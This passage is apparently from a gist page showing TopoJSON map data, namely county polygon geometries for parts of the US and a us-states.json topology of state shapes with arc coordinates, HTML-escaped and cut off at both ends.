uot;:[[-537,683,684,685,686,-484,-539]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41063,&quot;arcs&quot;:[[-495,-564,-518,-505,687,688,689,-684,-536]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26109,&quot;arcs&quot;:[[690,691,692,-618,693]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55099,&quot;arcs&quot;:[[-598,694,695,696,697,-649,698,-541]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46105,&quot;arcs&quot;:[[699,700,701,702,703,-604]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46031,&quot;arcs&quot;:[[704,705,706,707,-700,-603,-565]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46063,&quot;arcs&quot;:[[-605,-704,708,-655,-499,-615]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46021,&quot;arcs&quot;:[[-612,709,710,-705,-513]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30001,&quot;arcs&quot;:[[-637,711,712,713,714,-509,-617]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46089,&quot;arcs&quot;:[[-614,715,716,717,-710,-611]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46013,&quot;arcs&quot;:[[-608,718,719,720,721,722,-716,-613]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46109,&quot;arcs&quot;:[[-682,723,724,725,726,-534]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46091,&quot;arcs&quot;:[[-727,727,-719,-607]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41049,&quot;arcs&quot;:[[-687,728,729,730,-671,-485]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55085,&quot;arcs&quot;:[[-669,731,732,-695,-597]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41061,&quot;arcs&quot;:[[733,734,-685,-690]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30057,&quot;arcs&quot;:[[-632,735,-712,-636,-552]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27009,&quot;arcs&quot;:[[-625,736,737,-595]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41021,&quot;arcs&quot;:[[738,739,740,-672,-731]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30075,&quot;arcs&quot;:[[-658,741,742,743,-676,-443,-441]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26031,&quot;arcs&quot;:[[744,745,746,747,748,749]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:41057,&quot;arcs&quot;:[[[750,751,752,753,754,-601]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41067,&quot;arcs&quot;:[[755,756,757,-751,-640]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27145,&quot;arcs&quot;:[[-738,758,759,760,761,762,-663,-592,-596]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27149,&quot;arcs&quot;:[[763,764,765,-680,-661]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27121,&quot;arcs&quot;:[[-763,766,767,-764,-664]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41055,&quot;arcs&quot;:[[768,-673,-741]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27059,&quot;arcs&quot;:[[769,770,771,-623,-642]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27025,&quot;arcs&quot;:[[-646,772,773,774,-770,-575]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55095,&quot;arcs&quot;:[[775,776,777,-773,-645]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41051,&quot;arcs&quot;:[[-670,-583,778,779,-756,-639]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41027,&quot;arcs&quot;:[[780,781,-779,-582,-675]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41065,&quot;arcs&quot;:[[-769,-740,782,783,784,785,-781,-674]]},{&quot;type&quot;:&quot;Poly</code></pre><p><em>Truncated — <a href="https://gist.github.com/0afcb4f2547112af6d8b6eceeed4118d">view the full gist</a>.</em></p>
<h3>us-states.json</h3><pre><code class="language-json">{&quot;type&quot;:&quot;Topology&quot;,&quot;objects&quot;:{&quot;states&quot;:{&quot;type&quot;:&quot;GeometryCollection&quot;,&quot;geometries&quot;:[{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:1000,&quot;arcs&quot;:[[0,1,2,3,4]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:2000,&quot;arcs&quot;:[[[5]],[[6]],[[7]],[[8]],[[9]],[[10]],[[11]],[[12]],[[13]],[[14]],[[15]],[[16]],[[17]],[[18]],[[19]],[[20]],[[21]],[[22]],[[23]],[[24]],[[25]],[[26]],[[27]],[[28]],[[29]],[[30]],[[31]],[[32]],[[33]],[[34]],[[35]],[[36]],[[37]],[[38]],[[39]],[[40]],[[41]],[[42]],[[43]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:4000,&quot;arcs&quot;:[[44,45,46,47,48]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:5000,&quot;arcs&quot;:[[49,50,51,52,53,54]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:6000,&quot;arcs&quot;:[[55,-47,56,57]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:8000,&quot;arcs&quot;:[[58,59,60,61,62,63]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:9000,&quot;arcs&quot;:[[64,65,66,67]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:10000,&quot;arcs&quot;:[[68,69,70,71]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:11000,&quot;arcs&quot;:[[72,73]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:12000,&quot;arcs&quot;:[[74,75,-2]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:13000,&quot;arcs&quot;:[[76,77,-75,-1,78,79]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:15000,&quot;arcs&quot;:[[[80]],[[81]],[[82]],[[83]],[[84]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16000,&quot;arcs&quot;:[[85,86,87,88,89,90,91]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:17000,&quot;arcs&quot;:[[92,93,94,95,96,97]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:18000,&quot;arcs&quot;:[[98,99,-95,100,101]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:19000,&quot;arcs&quot;:[[102,-98,103,104,105,106]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:20000,&quot;arcs&quot;:[[107,108,-60,109]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:21000,&quot;arcs&quot;:[[110,111,112,113,-96,-100,114]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:22000,&quot;arcs&quot;:[[115,116,117,-52]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23000,&quot;arcs&quot;:[[118,119]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:24000,&quot;arcs&quot;:[[[120]],[[121,-71,122,123,124,125,-74,126,127]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:25000,&quot;arcs&quot;:[[128,129,130,131,-68,132,133,134]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:26000,&quot;arcs&quot;:[[[135,-102,136]],[[137]],[[138,139]],[[140]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27000,&quot;arcs&quot;:[[141,-107,142,143,144]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:28000,&quot;arcs&quot;:[[-4,145,-116,-51,146]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:29000,&quot;arcs&quot;:[[-97,-114,147,-55,148,-108,149,-104]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30000,&quot;arcs&quot;:[[150,151,152,-86,153]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:31000,&quot;arcs&quot;:[[-105,-150,-110,-59,154,155]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:32000,&quot;arcs&quot;:[[-89,156,-48,-56,157]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:33000,&quot;arcs&quot;:[[-119,158,-135,159,160]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:34000,&quot;arcs&quot;:[[161,-69,162,163]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:35000,&quot;arcs&quot;:[[164,165,166,-45,-62]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:36000,&quot;arcs&quot;:[[167,-133,-67,168,-164,169,170]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:37000,&quot;arcs&quot;:[[171,172,-80,173,174]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38000,&quot;arcs&quot;:[[-144,175,-151,176]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:39000,&quot;arcs&quot;:[[177,178,-115,-99,-136,179]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:40000,&quot;arcs&quot;:[[-149,-54,180,-165,-61,-109]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41000,&quot;arcs&quot;:[[-90,-158,-58,181,182]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:42000,&quot;arcs&quot;:[[-163,-72,-122,183,-178,184,-170]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:44000,&quot;arcs&quot;:[[[-130,185]],[[186,-65,-132]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:45000,&quot;arcs&quot;:[[187,-77,-173]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46000,&quot;arcs&quot;:[[-176,-143,-106,-156,188,-152]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:47000,&quot;arcs&quot;:[[189,-174,-79,-5,-147,-50,-148,-113]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:48000,&quot;arcs&quot;:[[-53,-118,190,-166,-181]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:49000,&quot;arcs&quot;:[[191,-63,-49,-157,-88]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:50000,&quot;arcs&quot;:[[-160,-134,-168,192]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:51000,&quot;arcs&quot;:[[[-127,-73,-126,193,-175,-190,-112,194]],[[195,-124]]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53000,&quot;arcs&quot;:[[[-91,-183,196]],[[197]],[[198]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:54000,&quot;arcs&quot;:[[-184,-128,-195,-111,-179]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55000,&quot;arcs&quot;:[[-139,199,-93,-103,-142,200]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:56000,&quot;arcs&quot;:[[-189,-155,-64,-192,-87,-153]]}]}},&quot;arcs&quot;:[[[2632,3060],[5,-164],[7,-242],[4,-53],[3,-30],[-2,-19],[4,-11],[-5,-25],[0,-24],[-2,-32],[2,-57],[-2,-51],[3,-52]],[[2649,2300],[-14,-1],[-59,0],[-1,-25],[6,-37],[-1,-31],[2,-16],[-4,-28]],[[2578,2162],[-4,-6],[-7,31],[-1,47],[-2,6],[-3,-36],[-1,-34],[-7,9]],[[2553,2179],[-2,291],[6,363],[4,209],[-3,20]],[[2558,3062],[24,1],[50,-3]],[[1324,6901],[1,32],[6,-19],[-1,-32],[-8,4],[2,15]],[[1317,6960],[5,-23],[-3,-33],[-2,11],[0,45]],[[1285,7153],[6,5],[3,-8],[-1,-28],[-6,-6],[-5,17],[3,20]],[[1267,7137],[12,-7],[3,-36],[13,-41],[4,-25],[0,-21],[3,-4],[1,-27],[5,-27],[0,-25],[3,8],[2,-19],[1,-74],[-3,-17],[-7,3],[-3,38],[-2,-3],[-6,28],[-2,-10],[-5,10],[1,-28],[5,7],[3,-10],[-2,-39],[-5,4],[-9,49],[-2,25],[1,26],[-7,-2],[0,20],[5,2],[5,18],[-2,31],[-6,7],[-1,50],[-2,25],[-4,-18],[-2,28],[4,14],[-3,32],[2,8]],[[1263,6985],[5,-12],[4,15],[4,-7],[-4,-28],[-6,8],[-3,24]],[[1258,7247],[-4,19],[5,13],[15,-18],[7,1],[5,-36],[9,-29],[-1,-22],[-5,-11],[-6,5],[-5,-14],[-6,9],[-7,-9],[-1,45],[0,30],[-5,1],[-1,16]],[[1252,7162],[-4,14],[-4,32],[0,24],[3,11],[4,-11],[0,20],[12,-35],[1,-33],[-4,-5],[-3,-37],[3,-11],[-3,-43],[-5,9],[0,-27],[-3,13],[-2,54],[5,25]],[[1237,7124],[-1,-22],[-4,13],[-10,84],[-7,25],[3,20],[-3,48],[-8,39],[8,38],[3,-16],[7,-13],[6,-2],[0,-30],[6,-99],[0,-85]],[[1235,7494],[10,-15],[5,2],[0,-14],[8,-52],[-5,8],[-2,-18],[6,-27],[2,-48],[-6,-13],[-2,-16],[-10,-35],[-3,1],[-1,37],[2,22],[-1,32],[-3,40],[0,21],[-2,51],[-4,22],[-1,38],[7,-36]],[[1203,7324],[4,0],[4,-35],[-2,-24],[-6,-5],[1,38],[-1,26]],[[1191,7491],[8,-1],[6,17],[8,-23],[-5,-26],[2,-9],[4,28],[10,-9],[5,-21],[-3,-38],[3,-3],[3,-50],[-7,-7],[-14,41],[0,-42],[-4,-17],[-5,7],[-3,26],[-6,18],[-5,37],[-6,17],[1,30],[4,10],[1,26],[3,-11]],[[883,7871],[-12,-48],[-1,-19],[-9,-12],[2,29],[10,30],[7,34],[3,-14]],[[870,7943],[-2,-39],[-4,-41],[-6,14],[5,47],[7,19]],[[863,9788],[3,-8],[15,-9],[8,5],[10,0],[12,-7],[7,4],[7,-15],[12,-18],[16,-4],[5,10],[11,6],[4,14],[12,2],[0,-9],[7,5],[15,-15],[9,-24],[10,-11],[2,-11],[8,-2],[8,-18],[1,-11],[5,9],[6,-7],[0,-1783],[13,-16],[2,17],[14,-24],[8,30],[18,4],[-3,-52],[4,-17],[10,-17],[2,-27],[29,-101],[4,-63],[6,17],[12,31],[7,1],[3,23],[0,34],[5,0],[1,31],[9,7],[13,26],[13,-45],[-1,-27],[3,-27],[7,-7],[10,-40],[-1,-12],[4,-22],[12,-25],[19,-110],[3,-29],[6,-29],[8,-65],[9,-55],[-3,-23],[9,-9],[-2,-33],[7,-14],[1,-38],[7,2],[14,-40],[9,-7],[5,-19],[4,-5],[1,-19],[9,-5],[3,-23],[-4,-43],[1,-36],[4,-58],[-3,-15],[-7,-53],[-10,-39],[-3,20],[-4,-6],[-3,39],[1,17],[-3,20],[7,21],[-2,7],[-7,-26],[-3,17],[-4,-10],[-12,42],[4,46],[-8,-15],[0,-23],[-6,17],[-1,22],[4,24],[-1,24],[-6,-19],[-6,42],[-3,-8],[-2,36],[5,23],[6,0],[-2,28],[3,36],[-5,-1],[-9,32],[-6,37],[-15,27],[0,77],[-4,9],[1,31],[-5,9],[-8,42],[-2,22],[-12,7],[-14,56],[-6,132],[-3,-30],[1,-27],[6,-53],[-1,-8],[3,-43],[0,-28],[-6,6],[-4,31],[-6,6],[-8,-9],[0,45],[-5,38],[-4,-12],[-18,40],[-2,-11],[10,-13],[7,-31],[3,-1],[1,-25],[4,-30],[-10,-16],[-5,10],[0,-26],[-8,20],[-2,14],[-5,0],[-13,38],[-10,33],[0,20],[-6,30],[-14,21],[-9,21],[-14,26],[-9,24],[1,26],[2,-9],[3,17],[-3,38],[4,21],[-2,9],[-7,-40],[-14,-26],[-18,10],[-14,24],[-1,18],[-7,-4],[-7,14],[-17,12],[-9,1],[-21,-10],[-8,-7],[-10,27],[-12,12],[-3,17],[-2,28],[-8,-2],[-3,-25],[-15,34],[-2,14],[-15,-27],[-7,-32],[-3,30],[3,17],[4,-5],[14,22],[-2,17],[-6,-8],[-3,22],[-6,3],[-6,55],[-3,-13],[-8,-8],[-3,8],[-3,-18],[-11,6],[-1,-20],[-7,-5],[-3,7],[2,36],[-3,-1],[-5,-38],[7,-12],[1,-27],[4,-30],[-3,-31],[-5,10],[-2,-15],[6,-7],[3,-41],[-8,-9],[-4,9],[-7,-12],[-3,10],[-9,-2],[0,16],[-4,-10],[-3,-20],[-3,18],[-5,-25],[2,-12],[-6,-15],[-6,-2],[-3,-20],[-6,-17],[-4,6],[-5,-21],[-4,1],[-8,-43],[-9,-3],[-3,14],[-5,-23],[-11,17],[2,33],[8,11],[4,-2],[2,13],[8,25],[0,21],[-11,-28],[-9,16],[-1,12],[5,48],[8,34],[1,29],[2,5],[1,30],[-4,34],[10,12],[19,48],[4,-19],[6,-5],[9,20],[-10,26],[-4,20],[-7,-2],[-5,9],[-2,-8],[-9,-14],[-4,-26],[-9,-6],[-9,-30],[-1,-20],[-7,-11],[-2,-22],[-5,-13],[-2,-39],[-10,-25],[5,-20],[-4,-29],[-9,-5],[-1,-38],[-8,-13],[-3,15],[-4,-29],[-5,-1],[1,-21],[-11,-13],[-2,-57],[12,-3],[10,-16],[3,-19],[-4,-30],[-7,-19],[-6,-1],[0,-17],[-4,-6],[1,-21],[-4,-31],[-9,-29],[-5,0],[-5,-11],[-5,2],[-3,-11],[1,-16],[-7,-8],[-2,-23],[-5,14],[-5,-45],[-9,4],[1,-24],[-6,6],[-3,-11],[0,-32],[-6,-50],[-10,-6],[-7,-23],[-2,-13],[-5,18],[-8,-48],[-2,13],[-5,-4],[-1,-27],[-5,-10],[-6,4],[-4,-27],[8,-9],[-9,-60],[-25,-20],[-6,-54],[-2,12],[1,33],[-5,6],[-6,-13],[-1,-14],[-10,-22],[-4,-25],[-1,18],[-2,-21],[-6,14],[-10,-33],[-8,2],[1,25],[-4,24],[-3,-20],[1,-21],[-11,-64],[-3,16],[-1,-24],[-8,4],[-1,38],[-4,8],[-2,-14],[4,-16],[-2,-27],[-5,-13],[-5,29],[-5,2],[-1,-11],[5,-17],[-9,-27],[6,-7],[0,-13],[-5,9],[-7,-25],[-15,1],[-7,-16],[0,-13],[-8,-15],[-6,6],[-2,35],[6,12],[4,43],[6,1],[13,28],[10,1],[4,-27],[3,20],[-1,23],[6,10],[7,0],[8,50],[10,45],[12,40],[15,18],[6,-9],[6,12],[1,-17],[-3,-19],[4,-14],[1,23],[7,2],[2,-15],[5,-5],[0,18],[-8,15],[0,11],[5,49],[6,28],[9,27],[15,24],[10,35],[5,-13],[4,5],[-1,22],[1,21],[8,44],[11,28],[8,38],[0,21],[7,148],[11,40],[-1,31],[-27,-45],[-8,6],[-2,18],[-5,9],[-1,21],[-4,-10],[-3,-32],[5,-41],[-6,-18],[-5,7],[-9,64],[-6,33],[-4,0],[-2,-24],[-3,-4],[-4,19],[-5,4],[-2,32],[-16,-37],[-13,-26],[-1,-14],[-11,-22],[-6,20],[5,23],[-1,54],[-4,57],[7,24],[-6,49],[-5,27],[-4,39],[-6,17],[-2,-34],[-7,-8],[-12,-22],[-14,-9],[-7,2],[-7,12],[-1,30],[-5,9],[-9,42],[-8,8],[-8,46],[6,21],[1,39],[-5,-8],[0,24],[2,19],[-6,18],[0,-19],[-7,8],[-1,32],[-6,4],[-3,22],[0,27],[-5,-12],[-1,26],[7,6],[-6,30],[10,2],[0,35],[2,24],[18,77],[4,23],[3,-5],[-2,33],[7,55],[6,22],[11,9],[8,-9],[12,-33],[8,4],[11,32],[11,49],[6,6],[1,-13],[13,0],[12,10],[11,52],[0,12],[-5,48],[-1,28],[-8,31],[-3,26],[8,-7],[8,22],[0,20],[-10,39],[-8,-30],[-7,5],[-6,-17],[-8,-4],[-2,-11],[-9,-17],[-2,-28],[-5,-12],[-2,34],[-5,7],[-4,-26],[-2,12],[-10,19],[-20,-1],[-14,-21],[-6,-3],[-11,13],[-22,14],[-6,12],[-3,19],[2,26],[-8,22],[2,24],[5,12],[-2,31],[-8,0],[-6,8],[-13,6],[-7,16],[-10,16],[-1,19],[16,27],[20,43],[15,27],[8,-15],[8,-3],[2,21],[-5,3],[-1,18],[20,29],[22,22],[12,2],[7,-7],[-4,-32],[2,-22],[-3,-15],[4,-26],[8,5],[10,-5],[11,6],[4,-10],[7,-2],[7,10],[8,-11],[9,42],[5,2],[5,-8],[2,24],[-12,11],[-11,-9],[1,31],[-8,34],[-10,10],[-2,30],[7,8],[9,-31],[-1,-24],[4,-18],[10,-22],[2,23],[-11,30],[5,54],[-4,10],[-11,-12],[-11,3],[-2,10],[-6,-10],[-24,23],[0,24],[-7,54],[-6,19],[-9,17],[-19,46],[-9,18],[-8,4],[-13,31],[-12,18],[-1,6],[9,10],[4,29],[1,59],[25,-4],[31,13],[8,11],[12,29],[12,45],[3,45],[5,38],[10,33],[5,24],[13,38],[2,-10],[11,-3],[16,20],[10,21],[24,64],[9,4],[1,-10],[9,7],[9,-2],[18,9],[17,28],[17,58],[7,13],[2,-10],[26,-24],[2,-17],[-9,-22],[-4,-1],[0,-29],[14,9],[0,16],[6,14],[2,-8],[5,33],[13,-30],[-2,-23],[8,-6],[5,-14],[7,22],[13,1],[7,7],[18,-7],[10,-8],[-5,-45],[17,-12],[2,-11],[16,-20],[1,9],[12,13],[11,-1],[0,-11],[7,-1],[7,15],[11,2],[9,-6],[11,-16],[5,3],[7,-22],[4,9],[7,-7],[5,-13]],[[717,7456],[-1,-8],[-9,13],[7,49],[6,4],[4,45],[5,-40],[4,14],[8,-22],[0,-31],[-11,-4],[-5,-13],[-8,-7]],[[688,7363],[8,25],[-8,6],[0,22],[6,14],[5,-10],[0,-22],[3,15],[0,32],[5,-15],[1,21],[5,-12],[5,0],[5,11],[7,-20],[0,-55],[9,4],[-6,-37],[-11,15],[4,-24],[-3,-20],[-6,10],[0,-38],[-8,-10],[-3,-16],[-5,15],[-6,-40],[-4,-4],[-5,-18],[-2,43],[-6,-23],[-1,13],[-6,14],[0,39],[-6,15],[4,45],[11,28],[7,-2],[1,-21]],[[671,7185],[-6,-39],[-2,6],[8,33]],[[640,7055],[4,-2],[-1,-40],[-8,6],[-1,13],[6,23]],[[519,6933],[-2,-41],[-9,-33],[5,51],[2,-5],[4,28]],[[501,6947],[5,0],[0,-20],[-5,-23],[-5,15],[-3,-14],[-2,35],[2,12],[8,-5]],[[451,6875],[1,-16],[-3,-11],[-3,18],[5,9]],[[447,8527],[-4,-19],[-2,16],[6,3]],[[436,6781],[6,-7],[-1,-16],[-5,1],[0,22]],[[358,6745],[2,-22],[-5,-10],[-1,23],[4,9]],[[352,6718],[-8,-21],[-2,14],[3,19],[7,-12]],[[335,7902],[6,7],[2,-14],[5,3],[6,-12],[1,-54],[-3,-18],[-7,-11],[-2,-18],[-11,20],[-5,-1],[-10,28],[-4,0],[-6,15],[-2,25],[3,7],[10,-7],[5,20],[6,2],[2,14],[4,-6]],[[334,6690],[5,-14],[-10,-36],[1,-6],[12,26],[0,-15],[-5,-17],[-8,-12],[-1,-18],[-8,-18],[-7,-1],[-5,-18],[-9,-16],[-5,17],[9,20],[3,-3],[8,16],[-2,19],[4,20],[6,-9],[1,12],[-7,4],[-4,14],[4,23],[11,13],[2,-26],[5,25]],[[266,6527],[10,37],[1,16],[4,17],[7,9],[3,-10],[2,-25],[-13,-27],[-6,-40],[-5,-13],[-3,36]],[[238,6477],[2,-19],[-8,-1],[-1,13],[7,7]],[[227,7303],[-4,-18],[-1,18],[5,0]],[[212,6440],[2,-18],[-5,-13],[-1,19],[4,12]],[[182,8542],[22,-28],[13,24],[6,-2],[5,-14],[2,-23],[11,-12],[4,-12],[15,-5],[9,-8],[-5,-28],[-7,6],[-8,-5],[-4,-13],[-4,-28],[-5,26],[-6,18],[-6,2],[-3,20],[-15,25],[-6,1],[-11,-22],[-7,11],[-4,23],[4,44]],[[162,6381],[0,-22],[-5,-4],[1,19],[4,7]],[[128,6335],[4,-8],[10,1],[1,-7],[-13,-9],[-2,23]],[[108,6360],[0,19],[4,7],[6,-19],[-2,-17],[-4,1],[1,-20],[-5,-2],[-12,-21],[-6,6],[2,15],[7,-2],[9,33]],[[47,6279],[5,3],[0,-24],[-6,3],[-8,-28],[-4,37],[4,1],[0,29],[5,1],[0,-21],[4,-1]],[[28,6296],[3,-9],[-2,-32],[-5,-10],[0,20],[4,31]],[[0,6291],[5,-1],[4,-23],[-4,-27],[-5,51]],[[9993,6496],[6,-13],[0,-19],[-11,-12],[-8,31],[0,15],[13,-2]],[[1966,3444],[-1,-1081]],[[1965,2363],[-57,0],[-34,71],[-73,150],[3,43]],[[1804,2627],[6,8],[1,16],[-1,36],[-4,1],[-2,71],[6,27],[0,28],[-1,45],[4,34],[4,12],[4,25],[-6,27],[-4,51],[-5,31],[0,24]],[[1806,3063],[2,26],[0,36],[-3,36],[-2,112],[11,7],[3,-23],[3,1],[3,33],[0,153]],[[1823,3444],[101,2],[42,-2]],[[2515,3253],[-1,-35],[-4,-11],[-1,-29],[-5,-31],[0,-46],[-3,-34],[-3,-5]],[[2498,3062],[2,-17],[-4,-14],[-2,-33],[-3,-8],[0,-38],[-5,-10],[0,-13],[-6,-31],[2,-21],[-5,-30],[-5,-59],[5,-25],[-2,-16],[1,-39],[-2,-26]],[[2474,2682],[-69,3],[-13,0]],[[2392,2685],[0,101],[-4,8],[-5,-9],[-3,18]],[[2380,2803],[1,335],[-5,211]],[[2376,3349],[4,0],[123,-1],[2,-36],[-4,-23],[-4,-36],[18,0]],[[1654,4398],[0,-331],[0,-241],[36,-171],[35,-169],[27,-137],[20,-101],[34,-185]],[[1804,2627],[-38,-18],[-30,-16],[-4,25],[0,40],[-2,47],[-4,33],[-9,46],[-12,43],[-2,-12],[-4,8],[1,18],[-5,39],[-7,-8],[-12,28],[-2,23],[-8,28],[-9,-1],[-7,13],[-10,-6],[-5,26],[1,53],[-1,8],[1,38],[-8,28],[0,39],[-3,2],[-4,33],[-4,8],[-1,20],[-11,79],[-5,23],[-1,62],[2,-6],[2,37],[-4,33],[-5,-4],[-7,30],[-2,24],[0,23],[-3,31],[0,50],[5,0],[-2,70],[-2,-7],[-1,-35],[-5,-7],[-7,26],[-1,45],[-4,35],[-6,22],[-3,25],[-9,50],[2,14],[-4,64],[2,35],[-3,54],[-7,52],[-7,29],[-2,35],[7,83],[2,29],[-2,22],[3,57],[-2,52],[-3,13],[1,42]],[[1534,4399],[28,1],[24,1],[38,-3],[30,0]],[[2107,4208],[57,0],[0,-191]],[[2164,4017],[1,-574]],[[2165,3443],[-28,1]],[[2137,3444],[-38,-1],[-72,0],[-15,1],[-46,0]],[[1966,3444],[0,223],[-1,21],[0,162],[0,357]],[[1965,4207],[32,1],[63,-1],[47,1]],[[3025,4400],[0,-113],[-2,-18]],[[3023,4269],[-2,3],[-12,-14],[-15,4],[-7,-26],[-7,-9],[-8,-22]],[[2972,4205],[-2,22],[7,21],[-2,16],[2,144]],[[2977,4408],[12,-2],[36,-3],[0,-3]],[[2922,3980],[-2,-23]],[[2920,3957],[-3,-13],[0,-30],[5,-29],[1,-47],[6,-49],[3,-2],[1,-66]],[[2933,3721],[-19,3],[-2,240]],[[2912,3964],[5,21],[5,-5]],[[2876,3786],[-2,27]],[[2874,3813],[2,12],[4,-19],[-4,-20]],[[2649,2300],[4,-55],[39,-13],[37,-14],[1,-41],[4,1],[1,39],[-1,35],[2,15],[7,-16],[8,-7]],[[2751,2244],[1,-83],[4,-93],[8,-122],[13,-131],[-2,-9],[1,-61],[5,-68],[8,-137],[2,-42],[0,-44],[-3,-158],[-3,-3],[-3,-49],[1,-16],[-5,-36],[-2,9],[-6,-15],[-9,-8],[-2,20],[1,29],[-7,85],[-5,15],[-4,-11],[-3,47],[-1,38],[-6,43],[-2,28],[1,41],[-3,8],[1,-24],[-3,-7],[-9,104],[-4,26],[9,76],[-6,-4],[-4,-24],[-3,38],[5,104],[1,87],[-4,21],[-1,28],[-5,6],[-7,46],[-5,19],[0,28],[-4,11],[-3,31],[-11,42],[-9,-10],[0,-29],[-3,5],[-12,-35],[-12,-9],[0,21],[-3,25],[-15,57],[-10,24],[-10,6],[-8,-4],[-17,-18]],[[2703,3063],[-6,-41],[0,-20],[9,-40],[3,3],[5,-42],[1,-22],[4,-40],[7,-24],[3,-35],[8,-33],[0,-22],[5,-35],[7,-29],[2,-32],[1,-40],[3,-14],[5,-51],[0,-33],[7,-16]],[[2767,2497],[-7,-65],[-2,-34],[-3,-29],[0,-30],[-3,-14],[-1,-81]],[[2632,3060],[37,1]],[[2669,3061],[20,-1],[14,3]],[[640,0],[-7,17],[-1,16],[1,43],[-5,73],[4,24],[2,34],[-2,22],[1,23],[8,-27],[9,-20],[5,-29],[0,-26],[8,-40],[-5,-34],[-8,-15],[-7,-25],[-3,-36]],[[613,397],[3,-26],[4,11],[9,-30],[-1,-27],[-9,-14],[-2,6],[-1,33],[-5,7],[-1,19],[3,21]